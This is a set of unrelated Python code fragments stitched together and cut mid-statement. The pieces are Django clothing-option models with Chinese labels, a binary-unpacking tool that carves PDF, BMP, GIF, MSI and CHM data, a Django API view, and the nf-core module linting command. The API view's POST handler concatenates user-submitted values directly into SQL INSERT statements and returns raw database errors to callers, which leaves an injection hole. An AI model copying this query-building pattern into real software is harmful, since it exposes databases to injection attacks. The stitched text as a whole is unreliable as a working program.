('2粒直角', '2粒直角'),
('2粒斜角', '2粒斜角'),
('2粒圆角', '2粒圆角'),
('法式直角', '法式直角'),
('法式斜角', '法式斜角'),
('法式圆角', '法式圆角'),
)
# 下摆(衬衫)
class XiaBaiChenShan(ClothParam):
class Meta:
verbose_name = '下摆(衬衫)'
verbose_name_plural = '下摆(衬衫)'
CHENSHAN_XIABAI_TYPE_LIST = (
('直下摆', '直下摆'),
('小圆下摆', '小圆下摆'),
('大圆下摆', '大圆下摆'),
)
# 门襟(衬衫)
class MenJinChenShan(ClothParam):
class Meta:
verbose_name = '门襟(衬衫)'
verbose_name_plural = '门襟(衬衫)'
CHENSHAN_MENJIN_TYPE_LIST = (
('明门襟', '明门襟'),
('暗门襟', '暗门襟'),
('平门襟', '平门襟'),
)
# 后背(衬衫)
class HouBeiChenShan(ClothParam):
class Meta:
verbose_name = '后背(衬衫)'
verbose_name_plural = '后背(衬衫)'
CHENSHAN_HOUBEI_TYPE_LIST = (
('肩部双褶', '肩部双褶'),
('后背工字褶', '后背工字褶'),
('腰部双褶', '腰部双褶'),
('后背无', '后背无'),
)
# 口袋(衬衫)
class KouDaiChenShan(ClothParam):
class Meta:
verbose_name = '口袋(衬衫)'
verbose_name_plural = '口袋(衬衫)'
CHENSHAN_KOUDAI_TYPE_LIST = (
('无口袋', | |
bmpsize))
## BMP header reserved fields
icooutput.write('\x00\x00\x00\x00')
## BMP header offset of pixel array
## first there is the BMP file header,
## which is 14 bytes, then the DIB
## header, in total 54 bytes
pixelarrayoffset = 54
## Then there is an optional color table
bitsperpixel = struct.unpack('<H', icobytes[14:16])[0]
rawimagesize = struct.unpack('<I', icobytes[20:24])[0]
colorsinpalette = struct.unpack('<I', icobytes[32:36])[0]
pixelarrayoffset += pow(2,bitsperpixel)
if colorsinpalette == 0:
print pow(2, bitsperpixel), filename, counter
icooutput.write(struct.pack('<I', pixelarrayoffset))
else:
pass
'''
icooutput.write(icobytes)
icooutput.close()
icofile.seek(oldoffset)
counter += 1
diroffsets.append((tmpdir, icooffset, icosize))
icofile.close()
return (diroffsets, blacklist, [], hints)
## Windows MSI
def searchUnpackMSI(filename, tempdir=None, blacklist=[], offsets={}, scanenv={}, debug=False):
hints = {}
if not filename.lower().endswith('.msi'):
return ([], blacklist, [], hints)
if not "msi" in offsets:
return ([], blacklist, [], hints)
if not 0 in offsets['msi']:
return ([], blacklist, [], hints)
diroffsets = []
newtags = []
counter = 1
for offset in offsets['msi']:
blacklistoffset = extractor.inblacklist(offset, blacklist)
if blacklistoffset != None:
return (diroffsets, blacklist, newtags, hints)
tmpdir = dirsetup(tempdir, filename, "msi", counter)
tmpres = unpack7z(filename, 0, tmpdir, blacklist)
if tmpres != None:
(size7z, res) = tmpres
diroffsets.append((res, 0, size7z))
blacklist.append((0, size7z))
newtags.append('msi')
return (diroffsets, blacklist, newtags, hints)
return (diroffsets, blacklist, newtags, hints)
## Windows HtmlHelp
def searchUnpackCHM(filename, tempdir=None, blacklist=[], offsets={}, scanenv={}, debug=False):
hints = {}
if not filename.lower().endswith('.chm'):
return ([], blacklist, [], hints)
if not "chm" in offsets:
return ([], blacklist, [], hints)
if not 0 in offsets['chm']:
return ([], blacklist, [], hints)
diroffsets = []
newtags = []
counter = 1
for offset in offsets['chm']:
blacklistoffset = extractor.inblacklist(offset, blacklist)
if blacklistoffset != None:
return (diroffsets, blacklist, newtags, hints)
tmpdir = dirsetup(tempdir, filename, "chm", counter)
tmpres = unpack7z(filename, 0, tmpdir, blacklist)
if tmpres != None:
(size7z, res) = tmpres
diroffsets.append((res, 0, size7z))
blacklist.append((0, size7z))
newtags.append('chm')
return (diroffsets, blacklist, newtags, hints)
return (diroffsets, blacklist, newtags, hints)
###
## The scans below are scans that are used to extract files from bigger binary
## blobs, but they should not be recursively applied to their own results,
## because that results in endless loops.
###
## PDFs end with %%EOF, sometimes followed by one or two extra characters
## See http://www.adobe.com/devnet/pdf/pdf_reference.html
## The structure is described in section 7.5
def searchUnpackPDF(filename, tempdir=None, blacklist=[], offsets={}, scanenv={}, debug=False):
hints = {}
if not 'pdf' in offsets:
return ([], blacklist, [], hints)
if not 'pdftrailer' in offsets:
return ([], blacklist, [], hints)
if offsets['pdf'] == []:
return ([], blacklist, [], hints)
if offsets['pdftrailer'] == []:
return ([], blacklist, [], hints)
diroffsets = []
counter = 1
filesize = os.stat(filename).st_size
for offset in offsets['pdf']:
blacklistoffset = extractor.inblacklist(offset, blacklist)
if blacklistoffset != None:
continue
## first check whether or not the file has a valid PDF version
pdffile = open(filename, 'rb')
pdffile.seek(offset+5)
pdfbytes = pdffile.read(3)
pdffile.close()
if pdfbytes[0] != '1':
continue
if pdfbytes[1] != '.':
continue
try:
int(pdfbytes[2])
except:
continue
## then walk the trailers. Additional information can follow in the
## form of updates so the first trailer is not always the last
for trailer in offsets['pdftrailer']:
if offset > trailer:
continue
blacklistoffset = extractor.inblacklist(trailer, blacklist)
if blacklistoffset != None:
break
## first do some sanity checks for the trailer. According to the
## PDF specification the word "startxref" should.
## Read 100 bytes and see if 'startxref' is in those bytes. If not
## it cannot be a valid PDF file.
pdffile = open(filename, 'rb')
pdffile.seek(trailer-100)
pdfbytes = pdffile.read(100)
pdffile.close()
if not "startxref" in pdfbytes:
continue
## startxref is followed by whitespace and then a number indicating
## the byte offset for a possible xref table.
xrefres = re.search('startxref\s+(\d+)\s+', pdfbytes)
if xrefres == None:
continue
xrefoffset = int(xrefres.groups()[0])
pdffile = open(filename, 'rb')
pdffile.seek(xrefoffset)
pdfbytes = pdffile.read(4)
pdffile.close()
if pdfbytes != 'xref':
continue
## as a sanity check walk the xref table
## After the line "xref" there is a line that
## tells how many entries follow and how they are numbered
## according to the PDF specification each xref entry is
## 20 bytes long
## set offset to just after 'xref\n'
xrefoffset += 5
pdffile = open(filename, 'rb')
pdffile.seek(xrefoffset)
## just read a bunch of bytes to find the first line
bytesread = 10
pdfbytes = pdffile.read(bytesread)
## end of line marker can be either
## * space followed by newline
## * space followed by carriage return
## * carriage return followed by newline
nloffset = pdfbytes.find(' \n')
if nloffset == -1:
nloffset = pdfbytes.find(' \r')
if nloffset == -1:
nloffset = pdfbytes.find('\r\n')
totalbytesread = bytesread
while nloffset == -1:
pdfbytes = pdffile.read(bytesread)
nloffset = pdfbytes.find(' \n')
if nloffset == -1:
nloffset = pdfbytes.find(' \r')
if nloffset == -1:
nloffset = pdfbytes.find('\r\n')
if nloffset != -1:
nloffset += totalbytesread
totalbytesread += bytesread
if totalbytesread > filesize:
break
## reset the file pointer
pdffile.seek(xrefoffset)
subsectionline = pdffile.read(nloffset)
try:
subsectionlinelems = map(lambda x: int(x), subsectionline.split())
except:
pdffile.close()
continue
if len(subsectionlinelems) != 2:
pdffile.close()
continue
#(subsection, subsectionelemcount)
## adjust offset to length of subsection line plus newline
xrefoffset += nloffset + 1
pdffile.close()
tmpdir = dirsetup(tempdir, filename, "pdf", counter)
res = unpackPDF(filename, offset, trailer, tmpdir)
if res != None:
(pdfdir, size) = res
if offset == 0 and (filesize - 2) <= size <= filesize:
## the PDF is the whole file, so why bother?
shutil.rmtree(tmpdir)
return (diroffsets, blacklist, ['pdf'], hints)
else:
diroffsets.append((pdfdir, offset, size))
blacklist.append((offset, offset + size))
counter = counter + 1
break
else:
os.rmdir(tmpdir)
if offsets['pdftrailer'] == []:
break
offsets['pdftrailer'].remove(trailer)
return (diroffsets, blacklist, [], hints)
def unpackPDF(filename, offset, trailer, tempdir=None):
tmpdir = unpacksetup(tempdir)
tmpfile = tempfile.mkstemp(dir=tmpdir)
os.fdopen(tmpfile[0]).close()
filesize = os.stat(filename).st_size
## if the data is the whole file we can just hardlink
if offset == 0 and (trailer + 5 == filesize or trailer + 5 == filesize-1 or trailer + 5 == filesize-2):
templink = tempfile.mkstemp(dir=tmpdir)
os.fdopen(templink[0]).close()
os.unlink(templink[1])
try:
os.link(filename, templink[1])
except OSError, e:
## if filename and tmpdir are on different devices it is
## not possible to use hardlinks
shutil.copy(filename, templink[1])
shutil.move(templink[1], tmpfile[1])
else:
## first we use 'dd' or tail. Then we use truncate
if offset < 128:
tmptmpfile = open(tmpfile[1], 'wb')
p = subprocess.Popen(['tail', filename, '-c', "%d" % (filesize - offset)], stdout=tmptmpfile, stderr=subprocess.PIPE, close_fds=True)
(stanout, stanerr) = p.communicate()
tmptmpfile.close()
else:
p = subprocess.Popen(['dd', 'if=%s' % (filename,), 'of=%s' % (tmpfile[1],), 'bs=%s' % (offset,), 'skip=1'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
(stanout, stanerr) = p.communicate()
pdflength = trailer + 5 - offset
p = subprocess.Popen(['truncate', "-s", "%d" % pdflength, tmpfile[1]], stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
(stanout, stanerr) = p.communicate()
if p.returncode != 0:
os.unlink(tmpfile[1])
return None
p = subprocess.Popen(['pdfinfo', "%s" % (tmpfile[1],)], stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
(stanout, stanerr) = p.communicate()
if p.returncode != 0:
os.unlink(tmpfile[1])
return None
else:
## Is this accurate? Using "File size" from pdfinfo's output
## surely is not.
size = os.stat(tmpfile[1]).st_size
return (tmpdir, size)
def searchUnpackBMP(filename, tempdir=None, blacklist=[], offsets={}, scanenv={}, debug=False):
hints = {}
if not 'bmp' in offsets:
return ([], blacklist, [], hints)
if offsets['bmp'] == []:
return ([], blacklist, [], hints)
filesize = os.stat(filename).st_size
diroffsets = []
newtags = []
counter = 1
datafile = open(filename, 'rb')
for offset in offsets['bmp']:
## first check if the offset is not blacklisted
blacklistoffset = extractor.inblacklist(offset, blacklist)
if blacklistoffset != None:
continue
datafile.seek(offset+2)
sizebytes = datafile.read(4)
if len(sizebytes) != 4:
break
bmpsize = struct.unpack('<I', sizebytes)[0]
if bmpsize + offset > filesize:
break
## read 8 bytes more data. The first 4 bytes are for
## reserved fields, the last
bmpdata = datafile.read(8)
bmpoffset = struct.unpack('<I', bmpdata[4:])[0]
if bmpoffset + offset > filesize:
break
## offset for BMP cannot be less than the current
## file pointer
if bmpoffset + offset < datafile.tell():
break
## reset the file pointer and read all needed data
datafile.seek(offset)
bmpdata = datafile.read(bmpsize)
if len(bmpdata) != bmpsize:
break
p = subprocess.Popen(['bmptopnm'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(stanout, stanerr) = p.communicate(bmpdata)
if p.returncode != 0:
continue
## basically we have a copy of the original
## image here, so why bother?
if offset == 0 and bmpsize == filesize:
blacklist.append((0,bmpsize))
datafile.close()
return (diroffsets, blacklist, ['graphics', 'bmp', 'binary'], hints)
## not the whole file, so carve
tmpdir = dirsetup(tempdir, filename, "bmp", counter)
tmpfilename = os.path.join(tmpdir, 'unpack-%d.bmp' % counter)
tmpfile = open(tmpfilename, 'wb')
tmpfile.write(bmpdata)
tmpfile.close()
hints[tmpfilename] = {}
hints[tmpfilename]['tags'] = ['graphics', 'bmp', 'binary']
hints[tmpfilename]['scanned'] = True
blacklist.append((offset,offset + bmpsize))
diroffsets.append((tmpdir, offset, bmpsize))
counter = counter + 1
datafile.close()
return (diroffsets, blacklist, newtags, hints)
## http://en.wikipedia.org/wiki/Graphics_Interchange_Format
## https://www.w3.org/Graphics/GIF/spec-gif89a.txt
## 1. search for a GIF header
## 2. parse the GIF file and look for a trailer
## 3. check the data with gifinfo
##
## gifinfo will not recognize if there is trailing data for
## a GIF file, so all data needs to be looked at, until a
## valid GIF file has been carved out (part of the file, or
## the whole file), or stop if no valid GIF file can be found.
## TODO: remove call to gifinfo after running more tests
def searchUnpackGIF(filename, tempdir=None, blacklist=[], offsets={}, scanenv={}, debug=False):
hints = {}
newtags = []
gifoffsets = []
for marker in fsmagic.gif:
## first check if the header is not blacklisted
for m in offsets[marker]:
blacklistoffset = extractor.inblacklist(m, blacklist)
if blacklistoffset != None:
continue
gifoffsets.append(m)
if gifoffsets == []:
return ([], blacklist, newtags, hints)
gifoffsets.sort()
diroffsets = []
counter = 1
## magic header for XMP:
## https://en.wikipedia.org/wiki/Extensible_Metadata_Platform
## http://www.adobe.com/content/dam/Adobe/en/devnet/xmp/pdfs/XMPSpecificationPart3.pdf
xmpmagicheaderbytes = ['\x01'] + map(lambda x: chr(x), range(255,-1,-1)) + ['\x00']
xmpmagic = "".join(xmpmagicheaderbytes)
## broken XMP headers exist.
brokenxmpheaders = []
## In one of them the value 0x3b is 0x00 instead.
brokenxmpmagicheaderbytes1 = ['\x01'] + map(lambda x: chr(x), range(255,-1,-1)[:196]) + ['\x00'] + map(lambda x: chr(x), range(58,-1,-1)) + ['\x00']
brokenxmpmagic1 = "".join(brokenxmpmagicheaderbytes1)
brokenxmpheaders.append(brokenxmpmagic1)
## In another one 0xdc is missing and 0x07 is duplicated
brokenxmpmagicheaderbytes2 = ['\x01'] + map(lambda x: chr(x), range(255,-1,-1)[:35]) + map(lambda x: chr(x), range(219,-1,-1))[:-7] + ['\x07', '\x06', '\x05', '\x04', '\x03', '\x02', '\x01', '\x00', '\x00']
brokenxmpmagic2 = "".join(brokenxmpmagicheaderbytes2)
brokenxmpheaders.append(brokenxmpmagic2)
datafile = open(filename, 'rb')
filesize = os.stat(filename).st_size
for i in range(0,len(gifoffsets)):
offset = gifoffsets[i]
## first check if the header is not blacklisted
blacklistoffset = extractor.inblacklist(offset, blacklist)
if blacklistoffset != None:
continue
localoffset = | |
send back and log the request.
api_request = APIRequest(
authentication_type='NO_AUTH',
type=request.method,
url=request.get_full_path(),
status='401 ERR',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
response_to_user=response,
)
api_request.save()
return HttpResponse(response, content_type='application/json', status=401)
# First handle POST requests
def post(self, request):
# The first thing we need to do is check to see if the header information has been sent for authorisation etc.
if 'HTTP_AUTHORIZATION' in request.META:
# Access GET params: print(request.GET)
# The key was provided so check it. First we need to base64 decode the key.
# Extract the key from the string. Base64decode, remove the last colon, and decode to utf-8 rather than bytes
api_key = base64.b64decode(request.META['HTTP_AUTHORIZATION'].split('Basic ', 1)[1])[:-1].decode(
'utf-8')
# Look up API key
try:
api_key = APIKey.objects.get(key=api_key)
# Check to see if the requesters IP is blocked
ip = get_client_ip(request)
try:
blocked_ip = BlockedIP.objects.get(ip_address=ip)
response = json.dumps({
'error': {
'message': 'Requests from this IP are blocked',
'type': 'blocked_ip'
}
})
# This means it does exist so send a return message.
api_request = APIRequest(
authentication_type='KEY',
type=request.method,
resource=request.META['HTTP_RESOURCE'],
url=request.get_full_path(),
status='403 ERR',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
api_key=api_key,
response_to_user=response
)
api_request.save()
return HttpResponse(response, content_type='application/json', status=403)
except:
# If it doesn't exist then just pass and continue
pass
# API Key is found. No check for a resource.
if 'HTTP_RESOURCE' in request.META:
# Now that we know they provided a resource, let's check to see if it exists.
try:
resource = Resource.objects.get(
name=request.META['HTTP_RESOURCE'],
project=api_key.project,
request_type=request.method
)
# Check to see if the resource is "turned off"
if not resource.status:
response = json.dumps({
'error': {
'message': 'The owner of this resource has it disabled/off. Check back later as it may be enabled/turned on',
'type': 'endpoint_off'
}
})
return HttpResponse(response, content_type='application/json')
# Now we have the API Key. Let's make sure that the groups match.
user_groups = ResourceUserGroup.objects.all().filter(resource=resource)
# We only check for user groups if they are present or if the api_key doesn't contain master
if user_groups and 'rb_mstr_key_' not in api_key.key:
# If the api_key has a user group attached to it
# If it doesn't ignore it
if api_key.user_group:
# Check to see if that user_group is in the set user_groups. If not then say permission denied
in_group = False
for user_group in user_groups:
if api_key.user_group == user_group.user_group:
in_group = True
if in_group is False:
response = json.dumps({
'error': {
'message': 'Permission Denied. Your API Key/User Group doesn\'t allow you to access that resource.',
'type': 'permission_denied'
}
})
# This means a required header is not provided so record it and respond
api_request = APIRequest(
authentication_type='KEY',
type=request.method,
resource=request.META['HTTP_RESOURCE'],
url=request.get_full_path(),
status='403 ERR',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
api_key=api_key,
response_to_user=response
)
api_request.save()
return HttpResponse(response, content_type='application/json', status=403)
# The resource does exist! Now we need to go through the request and check to see
# if what is required has been sent.
# Create a resource_request object that holds all data as we move futher through
resource_request = {}
# HEADERS CHECK
# We need to check and see if there are headers.
resource_headers = ResourceHeader.objects.all().filter(resource=resource)
# Create a list of the provided headers and their values
provided_headers = []
# If there are headers
if resource_headers:
# Loop through each header and check to see if it exists in the request
for header in resource_headers:
# Check to see if that one is present. HTTP_+header name with dashes replaced with underscores.
if 'HTTP_' + header.key.upper().replace('-', '_') in request.META:
# Does exist.
single_header_object = {
'obj': header,
'provided_value': request.META[
'HTTP_' + header.key.upper().replace('-', '_')]
}
# Append it to the users provided headers
provided_headers.append(single_header_object)
else:
response = json.dumps({
'error': {
'message': 'Your request is missing a required header. Missing header is: ' + header.key,
'type': 'missing_header'
}
})
# This means a required header is not provided so record it and respond
api_request = APIRequest(
authentication_type='KEY',
type=request.method,
resource=request.META['HTTP_RESOURCE'],
url=request.get_full_path(),
status='400 ERR',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
api_key=api_key,
response_to_user=response
)
api_request.save()
return HttpResponse(response, content_type='application/json',
status=400)
# If we got here we either have a list with no headers or a list with headers that have values.
# Either way, if the incorrect values were given we would not be here.
resource_request['headers'] = provided_headers
# Get the databinds
data_binds = ResourceDataBind.objects.all().filter(resource=resource)
data_bind_tables = {
}
if data_binds:
full_sql = ''
# We need to basically loop through each data bind and make it so that they are sorted by table.
# This way we can execute multiple INSERTS to different tables.
for data_bind in data_binds:
# If the table is already listed then just append this data bind.
if data_bind.column.table.name in data_bind_tables:
data_bind_tables[data_bind.column.table.name].append(data_bind)
else:
data_bind_tables[data_bind.column.table.name] = [data_bind]
# Now we have it in a dictionary form.
for table, columns in data_bind_tables.items():
# This is one single table so do this
sql = 'INSERT INTO '+table+' ('
# Map through the columns
column_part = ', '.join(list(map(lambda column: column.column.name, columns)))
sql += column_part+') '
values_part = ''
# Now get the values for the insert
for index, column in enumerate(columns):
if column.key not in request.POST:
response = json.dumps({
'error': {
'message': 'Your request is missing a POST attribute. Missing attribute is: ' + column.key,
'type': 'missing_attribute'
}
})
# This means a required header is not provided so record it and respond
api_request = APIRequest(
authentication_type='KEY',
type=request.method,
resource=request.META['HTTP_RESOURCE'],
url=request.get_full_path(),
status='400 ERR',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
api_key=api_key,
response_to_user=response
)
api_request.save()
return HttpResponse(response, content_type='application/json',
status=400)
else:
# It is present, so first get the value
posted_value = request.POST[column.key]
if column.type == 'String':
values_part += '"' + posted_value + '"'
else:
values_part += posted_value
if index < (len(columns)) - 1:
values_part += ', '
else:
values_part += ')'
sql += 'VALUES ('+values_part+'; '
# Add it to the big whole SQL statement
full_sql += sql
# Try connect to the server and do database things.
try:
database = Database.objects.get(project=resource.project)
conn = db.connect(host=database.server_address, port=3306,
user=database.user, password=<PASSWORD>,
database=database.name, connect_timeout=4)
# Create a cursor
cursor = conn.cursor()
# Now that we have the single query, execute it.
cursor.execute(full_sql)
# Commit the result
conn.commit()
for row in cursor:
print(row)
conn.close()
# Cannot connect to the server. Record it and respond
api_request = APIRequest(
authentication_type='KEY',
type=request.method,
resource=request.META['HTTP_RESOURCE'],
url=request.get_full_path(),
status='200 OK',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
api_key=api_key
)
api_request.save()
# DO POST RESPONSE STUFF
# Check to see if there a response text sources.
resource_text_sources = ResourceTextSource.objects.all().filter(resource=resource)
response = ''
if resource_text_sources:
for resource_text_source in resource_text_sources:
response += resource_text_source.text
# Return it
if resource.response_format == 'JSON':
return HttpResponse(response, content_type='application/json', status=200)
except Exception as e:
print(e)
# Create a response
response = json.dumps({
'error': {
'message': 'There was an error with the interaction between us and your database. Please see the error generated by your server below.',
'type': 'database_error',
'database_error': str(e)
}
})
# Cannot connect to the server. Record it and respond
api_request = APIRequest(
authentication_type='KEY',
type=request.method,
resource=request.META['HTTP_RESOURCE'],
url=request.get_full_path(),
status='402 ERR',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
api_key=api_key,
response_to_user=response
)
api_request.save()
return HttpResponse(response, content_type='application/json', status=402)
except Exception as e:
# Create a response
response = json.dumps({
'error': {
'message': 'The resource that was requested does not exist.',
'type': 'resource_doesnt_exist'
}
})
# Resource does not exist. Record the request.
api_request = APIRequest(
authentication_type='KEY',
type=request.method,
resource=request.META['HTTP_RESOURCE'],
url=request.get_full_path(),
status='404 ERR',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
api_key=api_key,
response_to_user=response
)
api_request.save()
return HttpResponse(response, content_type='application/json', status=404)
else:
# Create a response
response = json.dumps({
'error': {
'message': 'No resource was provided. Lapis cannot tell what you are trying to access.',
'type': 'no_resource_provided'
}
})
# The resource was not provided. Record the requst
api_request = APIRequest(
authentication_type='KEY',
type=request.method,
url=request.get_full_path(),
status='400 ERR',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
api_key=api_key,
response_to_user=response
)
api_request.save()
return HttpResponse(response, content_type='application/json', status=400)
except Exception as e:
# Create a response
response = json.dumps({
'error': {
'message': 'The provided API Key is invalid. Please ensure it is correctly inputted.',
'type': 'bad_api_key'
}
})
# API Key is not found
# It was not provided. Construct a response to send back and log the request.
api_request = APIRequest(
authentication_type='NO_AUTH',
type=request.method,
url=request.get_full_path(),
status='401 ERR',
ip_address=get_client_ip(request),
source=request.META['HTTP_USER_AGENT'],
response_to_user=response
)
api_request.save()
return HttpResponse(response, content_type='application/json', status=401)
else:
| |
#!/usr/bin/env python
"""
Code for linting modules in the nf-core/modules repository and
in nf-core pipelines
Command:
nf-core modules lint
"""
from __future__ import print_function
import logging
from nf_core.modules.modules_command import ModuleCommand
import operator
import os
import questionary
import re
import requests
import rich
import yaml
import json
from rich.table import Table
from rich.markdown import Markdown
from rich.panel import Panel
import rich
from nf_core.utils import rich_force_colors
from nf_core.lint.pipeline_todos import pipeline_todos
import sys
import nf_core.utils
import nf_core.modules.module_utils
from nf_core.modules.modules_repo import ModulesRepo
from nf_core.modules.nfcore_module import NFCoreModule
from nf_core.lint_utils import console
log = logging.getLogger(__name__)
class ModuleLintException(Exception):
"""Exception raised when there was an error with module linting"""
pass
class LintResult(object):
"""An object to hold the results of a lint test"""
def __init__(self, mod, lint_test, message, file_path):
self.mod = mod
self.lint_test = lint_test
self.message = message
self.file_path = file_path
self.module_name = mod.module_name
class ModuleLint(ModuleCommand):
"""
An object for linting modules either in a clone of the 'nf-core/modules'
repository or in any nf-core pipeline directory
"""
# Import lint functions
from .main_nf import main_nf
from .functions_nf import functions_nf
from .meta_yml import meta_yml
from .module_changes import module_changes
from .module_tests import module_tests
from .module_todos import module_todos
from .module_version import module_version
def __init__(self, dir):
self.dir = dir
try:
self.repo_type = nf_core.modules.module_utils.get_repo_type(self.dir)
except LookupError as e:
raise UserWarning(e)
self.passed = []
self.warned = []
self.failed = []
self.modules_repo = ModulesRepo()
self.lint_tests = ["main_nf", "functions_nf", "meta_yml", "module_changes", "module_todos"]
# Get lists of modules install in directory
self.all_local_modules, self.all_nfcore_modules = self.get_installed_modules()
self.lint_config = None
self.modules_json = None
# Add tests specific to nf-core/modules or pipelines
if self.repo_type == "modules":
self.lint_tests.append("module_tests")
if self.repo_type == "pipeline":
# Add as first test to load git_sha before module_changes
self.lint_tests.insert(0, "module_version")
def lint(self, module=None, key=(), all_modules=False, print_results=True, show_passed=False, local=False):
"""
Lint all or one specific module
First gets a list of all local modules (in modules/local/process) and all modules
installed from nf-core (in modules/nf-core/modules)
For all nf-core modules, the correct file structure is assured and important
file content is verified. If directory subject to linting is a clone of 'nf-core/modules',
the files necessary for testing the modules are also inspected.
For all local modules, the '.nf' file is checked for some important flags, and warnings
are issued if untypical content is found.
:param module: A specific module to lint
:param print_results: Whether to print the linting results
:param show_passed: Whether passed tests should be shown as well
:returns: A ModuleLint object containing information of
the passed, warned and failed tests
"""
# Prompt for module or all
if module is None and not all_modules:
questions = [
{
"type": "list",
"name": "all_modules",
"message": "Lint all modules or a single named module?",
"choices": ["All modules", "Named module"],
},
{
"type": "autocomplete",
"name": "tool_name",
"message": "Tool name:",
"when": lambda x: x["all_modules"] == "Named module",
"choices": [m.module_name for m in self.all_nfcore_modules],
},
]
answers = questionary.unsafe_prompt(questions, style=nf_core.utils.nfcore_question_style)
all_modules = answers["all_modules"] == "All modules"
module = answers.get("tool_name")
# Only lint the given module
if module:
if all_modules:
raise ModuleLintException("You cannot specify a tool and request all tools to be linted.")
local_modules = []
nfcore_modules = [m for m in self.all_nfcore_modules if m.module_name == module]
if len(nfcore_modules) == 0:
raise ModuleLintException(f"Could not find the specified module: '{module}'")
else:
local_modules = self.all_local_modules
nfcore_modules = self.all_nfcore_modules
if self.repo_type == "modules":
log.info(f"Linting modules repo: [magenta]'{self.dir}'")
else:
log.info(f"Linting pipeline: [magenta]'{self.dir}'")
if module:
log.info(f"Linting module: [magenta]'{module}'")
# Filter the tests by the key if one is supplied
if key:
self.filter_tests_by_key(key)
log.info("Only running tests: '{}'".format("', '".join(key)))
# If it is a pipeline, load the lint config file and the modules.json file
if self.repo_type == "pipeline":
self.set_up_pipeline_files()
# Lint local modules
if local and len(local_modules) > 0:
self.lint_modules(local_modules, local=True)
# Lint nf-core modules
if len(nfcore_modules) > 0:
self.lint_modules(nfcore_modules, local=False)
if print_results:
self._print_results(show_passed=show_passed)
self.print_summary()
def set_up_pipeline_files(self):
self.load_lint_config()
self.modules_json = self.load_modules_json()
# Only continue if a lint config has been loaded
if self.lint_config:
for test_name in self.lint_tests:
if self.lint_config.get(test_name, {}) is False:
log.info(f"Ignoring lint test: {test_name}")
self.lint_tests.remove(test_name)
def filter_tests_by_key(self, key):
"""Filters the tests by the supplied key"""
# Check that supplied test keys exist
bad_keys = [k for k in key if k not in self.lint_tests]
if len(bad_keys) > 0:
raise AssertionError(
"Test name{} not recognised: '{}'".format(
"s" if len(bad_keys) > 1 else "",
"', '".join(bad_keys),
)
)
# If -k supplied, only run these tests
self.lint_tests = [k for k in self.lint_tests if k in key]
def get_installed_modules(self):
"""
Makes lists of the local and and nf-core modules installed in this directory.
Returns:
local_modules, nfcore_modules ([NfCoreModule], [NfCoreModule]):
A tuple of two lists: One for local modules and one for nf-core modules.
In case the module contains several subtools, one path to each tool directory
is returned.
"""
# Initialize lists
local_modules = []
nfcore_modules = []
local_modules_dir = None
nfcore_modules_dir = os.path.join(self.dir, "modules", "nf-core", "modules")
# Get local modules
if self.repo_type == "pipeline":
local_modules_dir = os.path.join(self.dir, "modules", "local")
# Filter local modules
if os.path.exists(local_modules_dir):
local_modules = os.listdir(local_modules_dir)
local_modules = sorted([x for x in local_modules if (x.endswith(".nf") and not x == "functions.nf")])
# nf-core/modules
if self.repo_type == "modules":
nfcore_modules_dir = os.path.join(self.dir, "modules")
# Get nf-core modules
if os.path.exists(nfcore_modules_dir):
for m in sorted([m for m in os.listdir(nfcore_modules_dir) if not m == "lib"]):
if not os.path.isdir(os.path.join(nfcore_modules_dir, m)):
raise ModuleLintException(
f"File found in '{nfcore_modules_dir}': '{m}'! This directory should only contain module directories."
)
m_content = os.listdir(os.path.join(nfcore_modules_dir, m))
# Not a module, but contains sub-modules
if not "main.nf" in m_content:
for tool in m_content:
nfcore_modules.append(os.path.join(m, tool))
else:
nfcore_modules.append(m)
# Create NFCoreModule objects for the nf-core and local modules
nfcore_modules = [
NFCoreModule(os.path.join(nfcore_modules_dir, m), repo_type=self.repo_type, base_dir=self.dir)
for m in nfcore_modules
]
local_modules = [
NFCoreModule(
os.path.join(local_modules_dir, m), repo_type=self.repo_type, base_dir=self.dir, nf_core_module=False
)
for m in local_modules
]
# The local modules mustn't conform to the same file structure
# as the nf-core modules. We therefore only check the main script
# of the module
for mod in local_modules:
mod.main_nf = mod.module_dir
mod.module_name = os.path.basename(mod.module_dir)
return local_modules, nfcore_modules
def lint_modules(self, modules, local=False):
"""
Lint a list of modules
Args:
modules ([NFCoreModule]): A list of module objects
local (boolean): Whether the list consist of local or nf-core modules
"""
progress_bar = rich.progress.Progress(
"[bold blue]{task.description}",
rich.progress.BarColumn(bar_width=None),
"[magenta]{task.completed} of {task.total}[reset] » [bold yellow]{task.fields[test_name]}",
transient=True,
)
with progress_bar:
lint_progress = progress_bar.add_task(
f"Linting {'local' if local else 'nf-core'} modules",
total=len(modules),
test_name=modules[0].module_name,
)
for mod in modules:
progress_bar.update(lint_progress, advance=1, test_name=mod.module_name)
self.lint_module(mod, local=local)
def lint_module(self, mod, local=False):
"""
Perform linting on one module
If the module is a local module we only check the `main.nf` file,
and issue warnings instead of failures.
If the module is a nf-core module we check for existence of the files
- main.nf
- meta.yml
- functions.nf
And verify that their content conform to the nf-core standards.
If the linting is run for modules in the central nf-core/modules repo
(repo_type==modules), files that are relevant for module testing are
also examined
"""
# Only check the main script in case of a local module
if local:
self.main_nf(mod)
self.passed += [LintResult(mod, *m) for m in mod.passed]
self.warned += [LintResult(mod, *m) for m in mod.warned]
# Otherwise run all the lint tests
else:
for test_name in self.lint_tests:
getattr(self, test_name)(mod)
self.passed += [LintResult(mod, *m) for m in mod.passed]
self.warned += [LintResult(mod, *m) for m in mod.warned]
self.failed += [LintResult(mod, *m) for m in mod.failed]
def _print_results(self, show_passed=False):
"""Print linting results to the command line.
Uses the ``rich`` library to print a set of formatted tables to the command line
summarising the linting results.
"""
log.debug("Printing final results")
# Sort the results
self.passed.sort(key=operator.attrgetter("message", "module_name"))
